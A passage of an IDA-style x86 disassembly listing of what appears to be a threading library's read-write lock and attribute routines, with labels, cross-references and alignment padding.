		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433069:				; CODE XREF: ___:00433057j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_4330DD
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_4330DD
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_4330A0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4330A0:				; CODE XREF: ___:0043308Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401AA5
		push	edi
		mov	ebx, eax
		call	sub_402252
		push	esi
		mov	edi, eax
		call	sub_402252
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330DD:				; CODE XREF: ___:0043306Ej
					; ___:00433078j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330F7:				; CODE XREF: ___:00433023j
		push	offset dword_510960
		call	near ptr 7C901005h
		nop
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_433113
		mov	dword ptr [eax], 0
		jmp	short loc_433118
; ---------------------------------------------------------------------------


loc_433113:				; CODE XREF: ___:00433109j
		mov	ebx, 10h


loc_433118:				; CODE XREF: ___:00433111j
		push	offset dword_510960
		call	near ptr 7C9010EDh
		nop


loc_433123:				; CODE XREF: ___:004330DBj
					; ___:004330F5j
		test	ebx, ebx
		jz	short loc_43312E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43312E:				; CODE XREF: ___:00433125j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_433140
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43313B:				; CODE XREF: ___:00433010j
					; ___:0043301Aj ...
		mov	eax, 16h


loc_433140:				; CODE XREF: ___:00433041j
					; ___:004330AAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4331B0:				; CODE XREF: ___:00401EA6j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4331D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4331D3:				; CODE XREF: ___:004331C2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433200:				; CODE XREF: ___:0040179Ej
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_433221
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_433221
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433221:				; CODE XREF: ___:00433209j
					; ___:0043320Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43325D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43325D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43325D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: ___:00433246j
					; ___:0043324Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433280:				; CODE XREF: ___:004015A5j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4332AA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_4332AA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43329E
		test	eax, eax
		jnz	short loc_4332AA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43329E:				; CODE XREF: ___:00433295j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_4332AA:				; CODE XREF: ___:00433286j
					; ___:0043328Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4332C0:				; CODE XREF: ___:00402095j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43337A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43337A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4332F4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4332F4
		cmp	eax, 10h
		jnz	loc_43337F


loc_4332F4:				; CODE XREF: ___:004332DCj
					; ___:004332E9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43337A
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_43337F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43336D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43333D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43333D:				; CODE XREF: ___:0043332Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43336D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43336D:				; CODE XREF: ___:0043331Aj
					; ___:0043335Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43337A:				; CODE XREF: ___:004332C9j
					; ___:004332D3j ...
		mov	eax, 16h


loc_43337F:				; CODE XREF: ___:004332EEj
					; ___:0043330Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333D0:				; CODE XREF: ___:004016A4j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43349F
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43349F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433404
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433404
		cmp	eax, 10h
		jnz	loc_4334A4


loc_433404:				; CODE XREF: ___:004333ECj
					; ___:004333F9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43349F
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	short loc_4334A4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_433492
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BD6
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_433462
		cmp	ebx, 274Ch
		jnz	short loc_433453
		inc	dword ptr [esi+14h]


loc_433453:				; CODE XREF: ___:0043344Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433462:				; CODE XREF: ___:00433446j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_433492
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433492:				; CODE XREF: ___:00433433j
					; ___:00433481j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43349F:				; CODE XREF: ___:004333D9j
					; ___:004333E3j ...
		mov	eax, 16h


loc_4334A4:				; CODE XREF: ___:004333FEj
					; ___:00433423j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:004015D2j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4335E6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4335E6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433527
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433527
		cmp	eax, 10h
		jnz	loc_4335EB


loc_433527:				; CODE XREF: ___:0043350Fj
					; ___:0043351Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4335E6
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4335EB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43356B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43356B:				; CODE XREF: ___:00433557j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4335DA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433588
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433588:				; CODE XREF: ___:00433577j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4335DA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4335AB:				; CODE XREF: ___:004335C0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4335C2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4335AB


loc_4335C2:				; CODE XREF: ___:004335B9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4335DD
		mov	[esi+0Ch], edi


loc_4335DA:				; CODE XREF: ___:00433570j
					; ___:0043358Dj
		inc	dword ptr [esi+10h]


loc_4335DD:				; CODE XREF: ___:004335D5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4335E6:				; CODE XREF: ___:004334FCj
					; ___:00433506j ...
		mov	eax, 16h


loc_4335EB:				; CODE XREF: ___:00433521j
					; ___:00433541j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433650:				; CODE XREF: ___:00401960j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_433751
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433751
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433687
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433687
		cmp	eax, 10h
		jnz	loc_433756


loc_433687:				; CODE XREF: ___:0043366Fj
					; ___:0043367Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433751
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	loc_433756
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BD6
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4336D1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4336D1:				; CODE XREF: ___:004336BDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433745
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4336EE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4336EE:				; CODE XREF: ___:004336DDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433745
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_433711:				; CODE XREF: ___:0043372Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43372D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_433711


loc_43372D:				; CODE XREF: ___:00433724j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_433748
		mov	[esi+0Ch], edi


loc_433745:				; CODE XREF: ___:004336D6j
					; ___:004336F3j
		inc	dword ptr [esi+10h]


loc_433748:				; CODE XREF: ___:00433740j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_433751:				; CODE XREF: ___:0043365Cj
					; ___:00433666j ...
		mov	eax, 16h


loc_433756:				; CODE XREF: ___:00433681j
					; ___:004336A6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4337B0:				; CODE XREF: ___:004015C8j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_433836
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_433836
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4337CC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337CC:				; CODE XREF: ___:004337C4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_433836
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433814
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4337F2
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337F2:				; CODE XREF: ___:004337ECj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_433809
		add	esi, 8
		push	esi
		call	sub_401E6F
		add	esp, 4
		mov	edi, eax


loc_433809:				; CODE XREF: ___:004337F9j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43382C
; ---------------------------------------------------------------------------


loc_433814:				; CODE XREF: ___:004337DAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43382C:				; CODE XREF: ___:00433812j
		test	edi, edi
		jz	short loc_43383B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433836:				; CODE XREF: ___:004337B9j
					; ___:004337BFj ...
		mov	eax, 16h


loc_43383B:				; CODE XREF: ___:0043382Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433870:				; CODE XREF: ___:0040153Cj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43392A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43392A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4338A4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4338A4
		cmp	eax, 10h
		jnz	loc_43392F


loc_4338A4:				; CODE XREF: ___:0043388Cj
					; ___:00433899j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43392A
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	short loc_43392F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43391D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4338ED
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4338ED:				; CODE XREF: ___:004338DCj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43391D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43391D:				; CODE XREF: ___:004338CAj
					; ___:0043390Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43392A:				; CODE XREF: ___:00433879j
					; ___:00433883j ...
		mov	eax, 16h


loc_43392F:				; CODE XREF: ___:0043389Ej
					; ___:004338BAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433980:				; CODE XREF: ___:00401FF0j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_433A61
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433A61
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4339B4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4339B4
		cmp	eax, 10h
		jnz	loc_433A66


loc_4339B4:				; CODE XREF: ___:0043399Cj
					; ___:004339A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433A61
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	loc_433A66
		lea	ebx, [esi+4]
		push	ebx
		call	sub_401785
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4339F9
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_433A66
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4339F9:				; CODE XREF: ___:004339E4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433A49
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433A16
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433A16:				; CODE XREF: ___:00433A05j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433A54
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_433A3B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A3B:				; CODE XREF: ___:00433A2Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433A4E


loc_433A49:				; CODE XREF: ___:004339FEj
		mov	edi, 10h


loc_433A4E:				; CODE XREF: ___:00433A47j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A54:				; CODE XREF: ___:00433A1Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A61:				; CODE XREF: ___:00433989j
					; ___:00433993j ...
		mov	eax, 16h


loc_433A66:				; CODE XREF: ___:004339AEj
					; ___:004339CEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AB0:				; CODE XREF: ___:00401C0Dj
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433AC7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_433AC7:				; CODE XREF: ___:00433ABFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AF0:				; CODE XREF: ___:00401EB5j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B17
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_433B17
		cmp	eax, 2
		jbe	short loc_433B17
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433B17:				; CODE XREF: ___:00433AFFj
					; ___:00433B07j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433B30:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B76
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_433B76
		mov	esi, [edi]
		push	eax
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	short loc_433B76
		push	0
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433B76
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433B76:				; CODE XREF: ___:00433B42j
					; ___:00433B4Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BA0:				; CODE XREF: ___:00401EFBj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433BC5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433BC5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433BC5:				; CODE XREF: ___:00433BB0j
					; ___:00433BB8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BE0:				; CODE XREF: ___:004015BEj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433BF9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433BF9:				; CODE XREF: ___:00433BF0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C0D
		cmp	eax, 1
		jz	short loc_433C0D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C0D:				; CODE XREF: ___:00433BFFj
					; ___:00433C04j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433C30:				; CODE XREF: ___:004019E7j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433C55
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C55
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433C55:				; CODE XREF: ___:00433C40j
					; ___:00433C48j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433C70	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433CB5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_433CB0
		cmp	eax, 2
		jg	short loc_433CB0
		test	eax, eax
		jz	short loc_433C9C
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C9C:				; CODE XREF: sub_433C70+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433CB0:				; CODE XREF: sub_433C70+1Aj
					; sub_433C70+1Fj
		mov	eax, 16h


loc_433CB5:				; CODE XREF: sub_433C70+12j
		pop	esi
		retn
sub_433C70	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433CE0	proc near		; CODE XREF: sub_4020D1j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	loc_433D85
		push	edi
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433D85
		cmp	esi, 0FFFFFFF1h
		jle	short loc_433D20
		cmp	esi, 0FFFFFFFEh
		jge	short loc_433D20
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_433D32
; ---------------------------------------------------------------------------


loc_433D20:				; CODE XREF: sub_433CE0+2Fj
					; sub_433CE0+34j
		cmp	esi, 0Fh
		jge	short loc_433D32
		cmp	esi, 2
		jle	short loc_433D32
		mov	[esp+8+arg_8], 2


loc_433D32:				; CODE XREF: sub_433CE0+3Ej
					; sub_433CE0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_433D7E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		call	near ptr 27409ACh
		nop
		test	eax, eax
		jnz	short loc_433D72
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D72:				; CODE XREF: sub_433CE0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_433D7E:				; CODE XREF: sub_433CE0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
